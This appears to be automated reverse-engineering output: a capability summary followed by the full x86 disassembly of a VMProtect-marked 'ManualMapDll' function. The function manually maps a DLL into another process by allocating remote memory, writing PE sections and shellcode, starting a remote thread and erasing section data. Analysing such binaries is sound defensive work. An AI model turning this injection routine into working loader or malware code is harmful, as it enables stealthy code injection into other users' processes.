Function at 0x42cab0
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Create thread
Enumerate pe sections
Execute shellcode via indirect call
Inject thread
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
mov eax, dword [0x43d00c]
xor eax, esp
mov dword [esp + 0x70], eax
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
push str.ManualMapDll
mov dword [esp + 0x70], edi
call dword [sym.imp.VMProtectSDK32.dll_VMProtectBegin]
mov eax, 0x5a4d
cmp word [ebx], ax
jne 0x42cff0
mov esi, dword [ebx + 0x3c]
mov eax, 0x14c
add esi, ebx
mov dword [esp + 0x10], esi
cmp word [esi + 4], ax
jne 0x42cff0
push 4
push 0x3000
push dword [esi + 0x50]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esp + 0xc], eax
test eax, eax
je 0x42cff0
lea ecx, [esp + 0x78]
mov dword [esp + 0x78], 0
push ecx
push 0x40
push dword [esi + 0x50]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm0, xmm0
push 0
push 0x1000
movups xmmword [esp + 0x24], xmm0
mov dword [esp + 0x30], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
movups xmmword [esp + 0x34], xmm0
push ebx
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x18]
push eax
movq qword [esp + 0x4c], xmm0
push edi
mov dword [esp + 0x44], eax
mov dword [esp + 0x4c], 1
mov dword [esp + 0x50], 0
mov dword [esp + 0x54], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x42cfde
mov eax, dword [esp + 0x10]
xor edi, edi
movzx esi, word [esi + 0x14]
add esi, 0x2c
cmp word [eax + 6], di
je 0x42cbe9
add esi, eax
nop dword [eax + eax]
mov eax, dword [esi - 4]
test eax, eax
je 0x42cbd9
push 0
push eax
mov eax, dword [esi]
add eax, ebx
push eax
mov eax, dword [esi - 8]
add eax, dword [esp + 0x18]
push eax
push dword [esp + 0x7c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x42cfda
mov eax, dword [esp + 0x10]
inc edi
add esi, 0x28
movzx eax, word [eax + 6]
cmp edi, eax
jne 0x42cbb0
mov edi, dword [esp + 0x6c]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 4
push 0x3000
push 0x28
push 0
push edi
call esi
mov dword [esp + 0x14], eax
test eax, eax
je 0x42cfde
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea ecx, [esp + 0x1c]
push 0
push 0x28
push ecx
push eax
push edi
call ebx
test eax, eax
je 0x42cfa4
push 0x40
push 0x3000
push 0x1000
push 0
push edi
call esi
mov esi, eax
mov dword [esp + 0x18], esi
test esi, esi
je 0x42cfa4
push 0
push 0x1000
push 0x42d010
push esi
push edi
call ebx
test eax, eax
je 0x42cf60
push 0
push 0
push dword [esp + 0x1c]
push esi
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x42cf60
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov dword [esp + 0x74], eax
mov esi, dword [esp + 0x6c]
lea eax, [esp + 0x70]
push eax
push esi
mov dword [esp + 0x78], 0
call ebx
cmp dword [esp + 0x70], 0x103
jne 0x42cff0
push 0
push 0x28
lea eax, [esp + 0x4c]
xorps xmm0, xmm0
push eax
push dword [esp + 0x20]
movups xmmword [esp + 0x54], xmm0
push esi
movups xmmword [esp + 0x68], xmm0
movq qword [esp + 0x78], xmm0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [esp + 0x5c]
cmp esi, 0x404040
je 0x42cf5c
cmp esi, 0x505050
je 0x42cf5c
call edi
sub eax, dword [esp + 0x74]
cmp eax, 0x5b8d80
ja 0x42cf5c
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
je 0x42cc94
cmp esi, 0x606060
je 0x42cf5c
cmp esi, 0xffffffff
je 0x42cf5c
push 0x1400000
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ebx, eax
add esp, 4
mov dword [esp + 0x70], ebx
test ebx, ebx
je 0x42cff0
push 0x1400000
push 0
push ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0x1000
push ebx
push dword [esp + 0x18]
mov ebx, dword [esp + 0x7c]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edi, dword [esp + 0x10]
mov dword [esp + 0x6c], 0
movzx ecx, word [edi + 0x14]
lea esi, [edi + 0x18]
mov eax, ecx
mov edx, ecx
add esi, eax
movzx eax, word [edi + 6]
mov ecx, eax
test ax, ax
je 0x42ce73
xor edx, edx
nop dword [eax]
mov edi, dword [esi + 8]
test edi, edi
je 0x42ce55
mov ecx, str..pdata
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x42cdd2
test dl, dl
je 0x42cdce
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x42cdd2
add eax, 2
add ecx, 2
test dl, dl
jne 0x42cdb2
xor eax, eax
jmp 0x42cdd7
sbb eax, eax
or eax, 1
test eax, eax
je 0x42ce3b
mov ecx, str..rsrc
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x42ce02
test dl, dl
je 0x42cdfe
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x42ce02
add eax, 2
add ecx, 2
test dl, dl
jne 0x42cde2
xor eax, eax
jmp 0x42ce07
sbb eax, eax
or eax, 1
test eax, eax
je 0x42ce3b
mov ecx, str..reloc
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x42ce32
test dl, dl
je 0x42ce2e
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x42ce32
add eax, 2
add ecx, 2
test dl, dl
jne 0x42ce12
xor eax, eax
jmp 0x42ce37
sbb eax, eax
or eax, 1
test eax, eax
jne 0x42ce51
mov eax, dword [esi + 0xc]
add eax, dword [esp + 0xc]
push 0
push edi
push dword [esp + 0x78]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [esp + 0x6c]
mov edi, dword [esp + 0x10]
inc edx
add esi, 0x28
mov dword [esp + 0x6c], edx
movzx eax, word [edi + 6]
mov ecx, eax
cmp edx, eax
jne 0x42cda0
movzx edx, word [edi + 0x14]
lea esi, [edi + 0x3c]
movzx eax, dx
xor edi, edi
test cx, cx
mov ecx, dword [esp + 0x10]
je 0x42cee3
add esi, eax
mov edx, dword [esi - 0x1c]
test edx, edx
je 0x42ced3
mov ecx, dword [esi]
mov eax, 2
mov dword [esp + 0x74], 0
test ecx, 0x80000000
jbe 0x42ceab
mov eax, 4
jmp 0x42ceb9
test ecx, 0x20000000
mov ecx, 0x20
cmova eax, ecx
lea ecx, [esp + 0x74]
push ecx
push eax
mov eax, dword [esi - 0x18]
add eax, dword [esp + 0x14]
push edx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov ecx, dword [esp + 0x10]
movzx eax, word [ecx + 6]
inc edi
add esi, 0x28
cmp edi, eax
jne 0x42ce86
movzx eax, word [ecx + 0x14]
mov edi, dword [esp + 0xc]
lea edx, [esp + 0x6c]
push edx
movzx eax, ax
push 2
mov dword [esp + 0x74], 0
push dword [eax + ecx + 0x24]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov esi, dword [esp + 0x18]
push 0
push 0x1000
push dword [esp + 0x78]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x8000
push 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push ebx
call esi
push 0x8000
push 0
push dword [esp + 0x1c]
push ebx
call esi
push dword [esp + 0x70]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x70]
xor ecx, esp
call fcn.00432001
mov esp, ebp
pop ebp
ret
mov edi, dword [esp + 0x6c]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [esp + 0x14]
push edi
call esi
push 0x8000
push 0
push dword [esp + 0x1c]
push edi
call esi
push 0x8000
push 0
push dword [esp + 0x20]
push edi
call esi
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x70]
xor ecx, esp
call fcn.00432001
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [esp + 0x14]
push edi
call esi
push 0x8000
push 0
push dword [esp + 0x1c]
push edi
call esi
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x70]
xor ecx, esp
call fcn.00432001
mov esp, ebp
pop ebp
ret
mov edi, dword [esp + 0x6c]
push 0x8000
push 0
push dword [esp + 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [esp + 0x7c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00432001
mov esp, ebp
pop ebp
ret